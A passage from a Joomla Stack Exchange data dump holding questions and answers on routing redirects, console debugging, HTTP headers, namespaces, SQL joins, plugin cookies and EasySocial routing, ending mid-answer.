  <row Id="32918" PostTypeId="1" CreationDate="2023-03-31T00:02:37.123" Score="2" ViewCount="86" Body="&lt;p&gt;After changing to modern routing (and removing ids from urls), and/or updating a Joomla 3 site to Joomla 4, old article category links with the id at the start will 404.  People seem to suggest fixing this manually in the redirect component or setting a custom htaccess rule to detect numbers and redirect like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} [0-9]+-&#xA;RewriteRule ^(.*)/[0-9]+-(.*)$ /$1/$2 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which does cause problems if any path on the site legitimately starts with a number.&lt;/p&gt;&#xA;&lt;p&gt;Off the top of my head, it seems like the correct solution is for Joomla to automatically create an active redirect entry (ie. there should be a setting to do it when switching on modern routing in j3 or in j4 if removing ids from articles.).&lt;/p&gt;&#xA;&lt;p&gt;I see some old posts about catching 404s like this:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/14197831/how-to-detect-wrong-url-using-joomla-system-plugin&quot;&gt;https://stackoverflow.com/questions/14197831/how-to-detect-wrong-url-using-joomla-system-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I suspect I must be missing something.&lt;/p&gt;&#xA;&lt;p&gt;Hence - before I write a system plugin to do this... is there a way for links with articles ids to &lt;em&gt;automatically&lt;/em&gt; still &amp;quot;work&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2023-04-01T07:31:37.560" LastActivityDate="2023-04-01T07:33:33.250" Title="Automatically create redirects after changing to modern routing / updating to J4. Detect and deal with old links with id" Tags="|redirect|routing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32919" PostTypeId="2" ParentId="2212" CreationDate="2023-03-31T00:42:15.430" Score="0" Body="&lt;p&gt;I had this error today, the resolution was to clear all cache.&lt;/p&gt;&#xA;" OwnerUserId="16985" LastActivityDate="2023-03-31T00:42:15.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32920" PostTypeId="2" ParentId="32918" CreationDate="2023-04-01T01:42:51.483" Score="2" Body="&lt;p&gt;I wrote a system plugin based on the redirect plugin to deal with this. The xml manifest has no config and just the 1 file.&lt;/p&gt;&#xA;&lt;p&gt;Note that after installing, go to manage plugins, search for &amp;quot;redirect&amp;quot;, set to order by order and drag the automodern plugin to be after the system redirect.  The redirect plugin must be also enabled and set to catch urls.&lt;/p&gt;&#xA;&lt;p&gt;In short it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Catches a 404 just like the redirect plugin.&lt;/li&gt;&#xA;&lt;li&gt;Returns if the last segment isn't right pattern eg. 123-etc-etc&lt;/li&gt;&#xA;&lt;li&gt;Finds a matching redirect that has no destination and is unpublished. (The redirect finding code is borrowed straight from the redirect plugin.)&lt;/li&gt;&#xA;&lt;li&gt;Checks the content table to see if the id and alias exactly match an article.&lt;/li&gt;&#xA;&lt;li&gt;If there's a matching article, it updates the redirect with the same url without the 123- bit and publishes it and redirects.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It's a bit rough looking but it works.&#xA;The worst case scenario (i think) is that it will generate another 404.&#xA;It doesn't deal with ids linked to sub-categories which would be nice to have.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;use Joomla\CMS\Event\ErrorEvent;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Uri\Uri;&#xA;use Joomla\Database\ParameterType;&#xA;use Joomla\Event\SubscriberInterface;&#xA;use Joomla\String\StringHelper;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class PlgSystemAutomodern extends CMSPlugin implements SubscriberInterface&#xA;{&#xA;    protected $autoloadLanguage = false;&#xA;    protected $db;&#xA;&#xA;    public static function getSubscribedEvents(): array&#xA;    {&#xA;        return [&#xA;            'onError' =&amp;gt; 'handleError',&#xA;        ];&#xA;    }&#xA;&#xA;    public function handleError(ErrorEvent $event)&#xA;    {&#xA;        $app = $event-&amp;gt;getApplication();&#xA;&#xA;        if ($app-&amp;gt;isClient('administrator') || ((int) $event-&amp;gt;getError()-&amp;gt;getCode() !== 404)) {&#xA;            return;&#xA;        }&#xA;&#xA;        $uri = Uri::getInstance();&#xA;&#xA;        // Check for the right structure &amp;quot;123-xyz-etc&amp;quot;&#xA;        $parts = explode('/',rtrim(rawurldecode($uri-&amp;gt;toString(['path', 'fragment'])),'/'));&#xA;        $candidate = end($parts);&#xA;        $id_etc = explode('-',$candidate);&#xA;        if(count($id_etc) &amp;lt; 2 || !ctype_digit($id_etc[0])){return;}&#xA;&#xA;        $orgurl                = rawurldecode($uri-&amp;gt;toString(['scheme', 'host', 'port', 'path', 'query', 'fragment']));&#xA;        $orgurlRel             = rawurldecode($uri-&amp;gt;toString(['path', 'query', 'fragment']));&#xA;        $orgurlRootRel         = str_replace(Uri::root(), '', $orgurl);&#xA;        $orgurlRootRelSlash    = str_replace(Uri::root(), '/', $orgurl);&#xA;        $orgurlWithoutQuery    = rawurldecode($uri-&amp;gt;toString(['scheme', 'host', 'port', 'path', 'fragment']));&#xA;        $orgurlRelWithoutQuery = rawurldecode($uri-&amp;gt;toString(['path', 'fragment']));&#xA;        $url                   = StringHelper::strtolower(rawurldecode($uri-&amp;gt;toString(['scheme', 'host', 'port', 'path', 'query', 'fragment'])));&#xA;        $urlRel                = StringHelper::strtolower(rawurldecode($uri-&amp;gt;toString(['path', 'query', 'fragment'])));&#xA;        $urlRootRel            = str_replace(Uri::root(), '', $url);&#xA;        $urlRootRelSlash       = str_replace(Uri::root(), '/', $url);&#xA;        $urlWithoutQuery       = StringHelper::strtolower(rawurldecode($uri-&amp;gt;toString(['scheme', 'host', 'port', 'path', 'fragment'])));&#xA;        $urlRelWithoutQuery    = StringHelper::strtolower(rawurldecode($uri-&amp;gt;toString(['path', 'fragment'])));&#xA;&#xA;        $query = $this-&amp;gt;db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('*')&#xA;            -&amp;gt;from($this-&amp;gt;db-&amp;gt;quoteName('#__redirect_links'))&#xA;            -&amp;gt;whereIn(&#xA;                $this-&amp;gt;db-&amp;gt;quoteName('old_url'),&#xA;                [$url,$urlRel,$urlRootRel,$urlRootRelSlash,$urlWithoutQuery,$urlRelWithoutQuery,$orgurl,$orgurlRel,$orgurlRootRel,$orgurlRootRelSlash,$orgurlWithoutQuery,$orgurlRelWithoutQuery,],&#xA;                ParameterType::STRING&#xA;            );&#xA;        $this-&amp;gt;db-&amp;gt;setQuery($query);&#xA;        $redirect = null;&#xA;&#xA;        try {&#xA;            $redirects = $this-&amp;gt;db-&amp;gt;loadAssocList();&#xA;        } catch (Exception $e) {&#xA;            $event-&amp;gt;setError(new Exception(Text::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));&#xA;            return;&#xA;        }&#xA;&#xA;        $possibleMatches = array_unique([$url,$urlRel,$urlRootRel,$urlRootRelSlash,$urlWithoutQuery,$urlRelWithoutQuery,$orgurl,$orgurlRel,$orgurlRootRel,$orgurlRootRelSlash,$orgurlWithoutQuery,$orgurlRelWithoutQuery,]);&#xA;&#xA;        foreach ($possibleMatches as $match) {&#xA;            if (($index = array_search($match, array_column($redirects, 'old_url'))) !== false) {&#xA;                $redirect = (object) $redirects[$index];&#xA;&#xA;                if ((int) $redirect-&amp;gt;published === 1) {&#xA;                    break;&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        // If we have a redirect url but it hasn't been set up yet then check if its an exact match to an article and if so then set destination and publish and redirect&#xA;        if ($redirect !== null &amp;amp;&amp;amp; ((int) $redirect-&amp;gt;published === 0) &amp;amp;&amp;amp; empty($redirect-&amp;gt;new_url)) {&#xA;&#xA;            $alias = substr($candidate,strpos($candidate,'-') + 1);&#xA;&#xA;            $query = $this-&amp;gt;db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select('id')&#xA;                -&amp;gt;from('#__content')&#xA;                -&amp;gt;where('id = ' . $this-&amp;gt;db-&amp;gt;quote($id_etc[0]))&#xA;                -&amp;gt;where('alias = ' . $this-&amp;gt;db-&amp;gt;quote($alias));&#xA;            $this-&amp;gt;db-&amp;gt;setQuery($query);&#xA;            if(empty($this-&amp;gt;db-&amp;gt;loadResult())){&#xA;                return;&#xA;            }&#xA;&#xA;            $orgurlRelWithoutQuery = rtrim($orgurlRelWithoutQuery,'/');&#xA;            $redirect-&amp;gt;new_url = substr($orgurlRelWithoutQuery, 0, strrpos( $orgurlRelWithoutQuery, '/') + 1) . $alias;&#xA;            $redirect-&amp;gt;published = 1;&#xA;&#xA;            try {&#xA;                $this-&amp;gt;db-&amp;gt;updateObject('#__redirect_links', $redirect, ['id']);&#xA;            } catch (Exception $e) {&#xA;                $event-&amp;gt;setError(new Exception(Text::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));&#xA;                return;&#xA;            }&#xA;&#xA;            $app-&amp;gt;redirect($redirect-&amp;gt;new_url, (int) 301);&#xA;        } &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2023-04-01T07:33:33.250" LastActivityDate="2023-04-01T07:33:33.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32921" PostTypeId="2" ParentId="32917" CreationDate="2023-04-01T08:24:04.070" Score="0" Body="&lt;p&gt;There is no option/switch in the core that will enable you to hide the fields so you will need to create a copy of the profile page to hide the password fields using the standard Joomla template override mechanism for the com_user page(s) you want to alter.&lt;/p&gt;&#xA;&lt;p&gt;This a simple introduction, &lt;a href=&quot;https://ltheme.com/create-overrides-in-joomla-4/#create-overrides-for-components&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ltheme.com/create-overrides-in-joomla-4/#create-overrides-for-components&lt;/a&gt;, for Joomla 4 that gives a basic understanding but there are plenty more tutorials and documentation available with a quick search on template overrides.&lt;/p&gt;&#xA;&lt;p&gt;You don't mention which version of Joomla but the basics are the same and I am assuming that you are only wanting to hide the fields in the front end view of the profile edit page.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-01T08:24:04.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32922" PostTypeId="1" CreationDate="2023-04-01T10:47:21.627" Score="1" ViewCount="184" Body="&lt;p&gt;So within administrator function.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo(&amp;quot;&amp;lt;script&amp;gt;console.log('PHP: &amp;quot; . $data . &amp;quot;');&amp;lt;/script&amp;gt;&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems it doesn't insert the js script on the page.&#xA;This works from a simple PHP file, but not from Joomla.&#xA;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2023-04-01T11:46:24.550" Title="How to print a php variable to the browser's console?" Tags="|php|debug|browser|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32923" PostTypeId="2" ParentId="32922" CreationDate="2023-04-01T11:46:24.550" Score="1" Body="&lt;p&gt;You can use Joomla's Web Asset Manager to insert inline scripts via PHP, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$wa = Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;$wa-&amp;gt;addInlineScript('console.log(&amp;quot;PHP: ' . $data . '&amp;quot;)');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2023-04-01T11:46:24.550" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32924" PostTypeId="1" CreationDate="2023-04-03T01:02:58.143" Score="0" ViewCount="52" Body="&lt;p&gt;After I click the search button - there's no data output in the web page. What should I do?&#xA;This is my view page&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;label&amp;gt;DATE FROM:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&amp;quot;date&amp;quot; class=&amp;quot;form-control&amp;quot; placeholder=&amp;quot;Start&amp;quot;  name=&amp;quot;date1&amp;quot; value=&amp;quot;&amp;lt;?php echo isset($_GET['date1']) ? $_POST['date1'] : '' ?&amp;gt;&amp;quot; /&amp;gt;&#xA;        &amp;lt;label&amp;gt;DATE TO: &amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&amp;quot;date&amp;quot; class=&amp;quot;form-control&amp;quot; placeholder=&amp;quot;End&amp;quot;  name=&amp;quot;date2&amp;quot; value=&amp;quot;&amp;lt;?php echo isset($_GET['date2']) ? $_POST['date2'] : '' ?&amp;gt;&amp;quot;/&amp;gt;&#xA;        &amp;lt;button type=&amp;quot;submit&amp;quot; class=&amp;quot;btn btn-success validate&amp;quot;&amp;gt;&amp;lt;?php echo JText::_('SEARCH'); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;option&amp;quot; value=&amp;quot;com_ajtechsadmin&amp;quot; /&amp;gt;&#xA;        &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;submissioncsf.FilterDate()&amp;quot; /&amp;gt;&#xA;&#xA;        &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;```&#xA;&#xA;---and this is my functions---&#xA;&#xA;```    public function getFilterDate(){&#xA;        $app = JFactory::getApplication();&#xA;        $date_start = JRequest::getVar('date1');&#xA;        $date_end = JRequest::getVar('date2');&#xA;        $db = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;            &#xA;        $query -&amp;gt; select('feedback,date_submitted')&#xA;               -&amp;gt; from('#__pm_submission_csf')&#xA;               -&amp;gt; where('date_submitted');&#xA;               $db-&amp;gt;setQuery((string) $query);&#xA;            //    $feedback = $data['feedback'];&#xA;               $date_submitted = ['date_submitted'];&#xA;&#xA;         $date_start = date(&amp;quot;yyyy-mm-dd&amp;quot;, strtotime($_POST['date1']));&#xA;         $date_end = date(&amp;quot;yyyy-mm-dd&amp;quot;, strtotime($_POST['date2']));&#xA;&#xA;        if($_GET['SEARCH']){&#xA;&#xA;            if($date_start ){&#xA;                $sql .= &amp;quot;&amp;quot;;&#xA;                $sql .= &amp;quot;WHERE date_submitted &amp;gt; &amp;quot; . $date_start;&#xA;                $sql .= (!empty($date_submitted) ? (empty($sql) ? ' date_submitted = ' . $db-&amp;gt;Quote($date_start) : ', date_submitted = ' . $db-&amp;gt;Quote($date_end)) : '');&#xA;             }&#xA;            if($date_end){&#xA;                $sql .= &amp;quot; AND date_submitted &amp;quot; . $date_end;&#xA;                $sql .= (!empty($date_submitted) ? (empty($sql) ? ' date_submitted = ' . $db-&amp;gt;Quote($date_start) : ', date_submitted = ' . $db-&amp;gt;Quote($date_end)) : '');&#xA;            }&#xA;&#xA;             $row=mysqli_num_rows($query);&#xA;             if($row&amp;gt;0){&#xA;                while($fetch=mysqli_fetch_array($query)){&#xA;    ?&amp;gt;&#xA;   &amp;lt;tr&amp;gt;&#xA;       &amp;lt;td&amp;gt;&amp;lt;?php echo $fetch['feedback']?&amp;gt;&amp;lt;/td&amp;gt;&#xA;       &amp;lt;td&amp;gt;&amp;lt;?php echo $fetch['submission_id']?&amp;gt;&amp;lt;/td&amp;gt;&#xA;       &amp;lt;td&amp;gt;&amp;lt;?php echo $fetch['user_id']?&amp;gt;&amp;lt;/td&amp;gt;&#xA;       &amp;lt;td&amp;gt;&amp;lt;?php echo $fetch['date_submitted']?&amp;gt;&amp;lt;/td&amp;gt;&#xA;   &amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;       }}}}}&#xA;&#xA;?&amp;gt; ``` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16991" LastActivityDate="2023-04-03T01:02:58.143" Title="Filtering Data in Php oop" Tags="|php|sql|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32925" PostTypeId="1" CreationDate="2023-04-03T13:29:21.307" Score="0" ViewCount="323" Body="&lt;p&gt;In Joomla 3.10 a component could set the HTTP response status code using something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; header($_SERVER['SERVER_PROTOCOL'] . ' 403 Not Permitted');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 4.x the header is set by the component, but appears to be overwritten by Joomla. (This is demonstrated by putting an exit command at the very end of component processing). Is there a way to set the response effectively in Joomla 4?&lt;/p&gt;&#xA;&lt;p&gt;I wanted to tag this with HTTP which is quite distinct from HTTPS, but was not permitted :)&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2023-04-03T15:16:56.190" Title="Setting HTTP header in Joomla 4 component" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32926" PostTypeId="1" CreationDate="2023-04-03T13:48:49.663" Score="0" ViewCount="193" Body="&lt;p&gt;PHP starts with the &lt;strong&gt;index.php&lt;/strong&gt;, then &lt;strong&gt;index.php&lt;/strong&gt; includes &lt;strong&gt;app.php&lt;/strong&gt;, and then includes &lt;strong&gt;framework.php&lt;/strong&gt;. This is where my confusion starts, maybe because of my lack of knowledge about namespaces.&lt;/p&gt;&#xA;&lt;p&gt;In framework.php, I found:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Version;&#xA;use Joomla\Utilities\IpHelper; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't think this &lt;code&gt;Joomla\CMS\Version&lt;/code&gt; namespace is just casually written, it must be referring to some code within a file, but which file and which code is still a mystery to me.&lt;/p&gt;&#xA;&lt;p&gt;The codes below appears without a prior declaration code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;new Version()&#xA;IpHelper::setAllowIpOverrides(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My guess, it is related to the namespace above, but I don't know the actual relation, if my guesses are correct, how can &lt;code&gt;use Joomla\CMS\Version&lt;/code&gt; logically give birth to a &lt;code&gt;new Version()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14531" LastEditorUserId="12352" LastEditDate="2023-04-03T21:38:53.643" LastActivityDate="2024-01-29T08:09:26.180" Title="Understanding namespaces and object instantiation in Joomla" Tags="|joomla-4.x|namespace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32927" PostTypeId="2" ParentId="32925" CreationDate="2023-04-03T15:16:56.190" Score="2" Body="&lt;p&gt;Use &lt;a href=&quot;https://api.joomla.org/framework-2/classes/Joomla-Application-WebApplicationInterface.html#method_setHeader&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\Application\WebApplicationInterface::setHeader()&lt;/code&gt;&lt;/a&gt; method implemented by the web application class. Example use in controllers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;setHeader('Status', '403', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you want, you can work directly with underlying PSR-7 response object using &lt;code&gt;getResponse()&lt;/code&gt; and &lt;code&gt;setResponse()&lt;/code&gt; methods:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$response = $this-&amp;gt;app-&amp;gt;getResponse();&#xA;$response = $response-&amp;gt;withHeader('Status', '403');&#xA;$this-&amp;gt;app-&amp;gt;setResponse($response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-04-03T15:16:56.190" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32928" PostTypeId="2" ParentId="32926" CreationDate="2023-04-04T00:22:31.983" Score="0" Body="&lt;p&gt;The class named &lt;code&gt;Version&lt;/code&gt;, the code you are looking for, is found in &lt;code&gt;..\libraries\src\Version.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;use Joomla\CMS\Version&lt;/code&gt; statement is the declaration or 'require_once' for the &lt;code&gt;Version&lt;/code&gt; class and that makes it available for the instantiation  with the &lt;code&gt;new Version()&lt;/code&gt; statement.&lt;/p&gt;&#xA;&lt;p&gt;Any namespace prefixed with &lt;code&gt;Joomla\CMS\&lt;/code&gt; can be found in &lt;code&gt;..\libraries\src&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-04T00:22:31.983" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32929" PostTypeId="1" AcceptedAnswerId="32951" CreationDate="2023-04-04T04:49:38.450" Score="1" ViewCount="161" Body="&lt;p&gt;I have a Joomla list page that I am trying to build each row from multiple tables that I haven't been able to figure out how to do efficiently with MySQL and would like some assistance. I suspect the answer is in some sort sub-query but I haven't been able find an example or explanation that I can relate to.&lt;/p&gt;&#xA;&lt;p&gt;What I am trying to achieve is to have a table containing Entities(people, companies, etc.) and store their relationship with other elements either in the same table or other components tables, e.g. membership &amp;amp; user id, in a 'relationships' table and display the fields of those various relationships where required.&lt;/p&gt;&#xA;&lt;p&gt;This is what I want to achieve, a single line per Entity with the extra fields filled in from the related tables.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Tvkbv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tvkbv.png&quot; alt=&quot;![enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is what I am getting with my basic &lt;code&gt;Join Left&lt;/code&gt; approach is multiple lines relative to how many entries the relationship table has for each entity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/V3uSQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V3uSQ.png&quot; alt=&quot;![enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are three tables involved in this example;&lt;/p&gt;&#xA;&lt;p&gt;The Entity table&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Pmc1j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pmc1j.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Membership table&lt;a href=&quot;https://i.stack.imgur.com/3kDFs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3kDFs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And the Relationship table&lt;a href=&quot;https://i.stack.imgur.com/lBk0Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBk0Z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The model is intended to read through the entity table and for each entity look up the relationship table for entries matching the entities id and then retrieve the extra fields for that entity from the other table(s). The 'source' column is just there for reference in this example to indicate which table is going to be read.&lt;/p&gt;&#xA;&lt;p&gt;Note the &lt;code&gt;'source' entity&lt;/code&gt; is a reference back to the same table used in the &lt;code&gt;from&lt;/code&gt; statement and is used to get the Parent Entity, in this example the Individual entity has a relationship back to the Company, the entity Barney and Fred work for. I don't believe referencing the same table will alter the solution, I could have just used a fourth table, but being able to handle the relationship back to other entities is a key requirement of what I am tying to build.&lt;/p&gt;&#xA;&lt;p&gt;The current statements I have been using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(&#xA;            $db-&amp;gt;quoteName('e.id','id'),&#xA;            $db-&amp;gt;quoteName('e.entity'),&#xA;            $db-&amp;gt;quoteName('p.entity'),&#xA;            $db-&amp;gt;quoteName('m.status'),&#xA;            );&#xA;&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__entities', 'e'));&#xA;$query-&amp;gt;leftjoin($db-&amp;gt;quoteName('#__relationships) . ' AS r ON r.entity_id = e.id');&#xA;$query-&amp;gt;leftjoin($db-&amp;gt;quoteName('#__entities) . ' AS p ON p.id = r.target');&#xA;$query-&amp;gt;leftjoin($db-&amp;gt;quoteName('#__memberships) . ' AS m ON m.user_id = r.target');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I did create this sub-query thinking it might be able to used somewhere but couldn't see how to use in the ablove.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query_parent-&amp;gt;select('p.entity_name');&#xA;$query_parent-&amp;gt;from($db-&amp;gt;quoteName(#__relationships, 'r'));&#xA;$query_parent-&amp;gt;leftjoin($db-&amp;gt;quoteName(#__entities) . ' AS p ON p.id = r.target');&#xA;$query_parent-&amp;gt;where($db-&amp;gt;quoteName('r.source') . &amp;quot; = 'entities'&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am trying to avoid having to use a foreach type loop or merging records in the array to achieve all the fields on the one line as in the first image as I am hoping MySQL can do it for me.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-04-12T12:33:14.780" Title="How to combine or merge SQL results into one row" Tags="|mysql|joomla-4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32930" PostTypeId="1" AcceptedAnswerId="32932" CreationDate="2023-04-04T11:36:56.613" Score="2" ViewCount="44" Body="&lt;p&gt;I need to add EasySocial routing to my own component, so that &lt;code&gt;JRoute([some EasySocial link])&lt;/code&gt; outputs a proper EasySocial URL.&lt;/p&gt;&#xA;&lt;p&gt;How can I do that? If I understand correctly, EasySocial routing is active only and only while I'm on the EasySocial component - I just need to make that routing available for my own component.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastEditorUserId="12352" LastEditDate="2023-04-05T01:42:35.277" LastActivityDate="2023-04-05T06:56:13.580" Title="How to 3rd party routing to my component?" Tags="|joomla-3.x|development|joomla-4.x|routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32931" PostTypeId="1" AcceptedAnswerId="32937" CreationDate="2023-04-04T18:28:43.690" Score="1" ViewCount="127" Body="&lt;p&gt;Background: I'm writing a component where you can add items to a cart. When the user isn't logged in, it uses a token to identify them, stored as a cookie. The cookie is stored in a view's controller.&lt;/p&gt;&#xA;&lt;p&gt;Now when the user logs in, I want to take all of those temporary cart items and link them to the user's account. So I've decided to write an &lt;code&gt;onUserAfterLogin&lt;/code&gt; plugin to do it when the user logs in.&lt;/p&gt;&#xA;&lt;h2&gt;The Problem&lt;/h2&gt;&#xA;&lt;p&gt;I can't access the token cookie from the plugin. I can still access it from the controller after the user has logged in, but not from the plugin. I confirmed this by running the following code in different contexts:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($_COOKIE as $key=&amp;gt;$val)&#xA;    echo $key.' is '.$val.&amp;quot;&amp;lt;br&amp;gt;\n&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the plugin it outputs none of my custom cookies, but in the component it does.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Why can't I access cookies from the plugin? Is this a design decision? Is there a &amp;quot;proper&amp;quot; way to do this?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've searched around and the closest I've come is &lt;a href=&quot;https://joomla.stackexchange.com/questions/4577/set-cookie-in-from-joomla-plugin&quot;&gt;this question&lt;/a&gt;, where the asker seems to have the same problem as me. Unfortunately there aren't any working answers.&lt;/p&gt;&#xA;" OwnerUserId="8455" LastEditorUserId="8455" LastEditDate="2023-04-06T03:23:36.720" LastActivityDate="2023-04-06T03:23:36.720" Title="Can't Access Cookie From Plugin That Was Set in Another Extension" Tags="|joomla-3.x|plugin|cookies|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32932" PostTypeId="2" ParentId="32930" CreationDate="2023-04-05T06:56:13.580" Score="2" Body="&lt;p&gt;It appears EasySocial requires menu item ID to be appended to the non-SEF URL passed to &lt;code&gt;JRoute::_()&lt;/code&gt; call. There is &lt;code&gt;ESR::getItemId()&lt;/code&gt; method that can retrieve the menu item ID of a given view. So something like this could work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?option=com_easysocial&amp;amp;view=albums&amp;amp;Itemid=' . ESR::getItemId('albums'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, the most common way is to use magic static methods of &lt;code&gt;ESR&lt;/code&gt; class. This is what EasySocial and the included modules generally used. The method name is the view and it accepts an array of arguments:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ESR::albums(['layout' =&amp;gt; 'default', 'id' =&amp;gt; $someId]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Before you can use EasySocial classes, you need to load &lt;code&gt;easysocial.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$engine = JPATH_ADMINISTRATOR . '/components/com_easysocial/includes/easysocial.php';&#xA;&#xA;if (!is_file($engine)) {&#xA;    // EasySocial is not installed, return early or use some fallback 